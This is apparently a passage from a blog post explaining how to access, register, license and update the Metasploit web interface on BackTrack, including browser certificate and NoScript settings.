  • Enter the URL https://localhost:3790. Note that the connection must be https.
  • You'll see "This Connection is Untrusted". If the server cannot be reached, the Metasploit server may not be started. Please wait a few seconds and try again.
  • Since the Metasploit UI uses a user-generated, unsigned SSL certificate, Firefox complains that the connection is untrusted. Click on I understand the risks, Add Exception..., and Confirm Security Exception.
  • Metasploit is now initializing and creating the exploit database. Depending on your hardware, this may take up to 10 minutes. You may also see this screen when you launch Metasploit the second time, but the startup time should only be a couple of minutes at the most.

  • The NoScript Addon is installed by default on BackTrack and makes registration and use of Metasploit very difficult. The easiest option is to allow JavaScript globally. Click on the NoScript icon to the left of the URL field and select Allow Scripts Globally (dangerous). Confirm the popup dialogue.
  • You should also turn off the Application Boundary Enforcer since it causes some issues with the registration. Open the same NoScript menu, choose NoScript Options, choose Advanced tab, choose ABE sub-tab, and uncheck Enable ABE (Application Boundary Enforcer). Confirm the dialog with OK.
  • Enter a username and password, and click Create Account. You should now see the following screen:
  • Click on Get Product Key.
  • Choose either Metasploit Pro Trial if you want to get a test of the fully featured product, or Metasploit Community if you're working for an SMB or are a student and need a limited but free edition.
  • Complete the registration screen.
  • You're now back at this screen:
  • Within 5 minutes of completing the form, you'll receive an email with a product key. Copy it to the text field under number 2, then click Activate License. You should now see this success message:
  • Now that you've registered Metasploit, you have access to the update packages, which give you access to new features, exploits, and bug fixes. To update Metasploit, follow these steps:
  1. In the Administration menu, choose Software Updates.
  2. Click Check for Updates.
  3. Click Install.
  4. Repeat the process until the software update reports that there are no more updates available.


Congratulations, you're good to go!

Filter Blog

By date: By tag: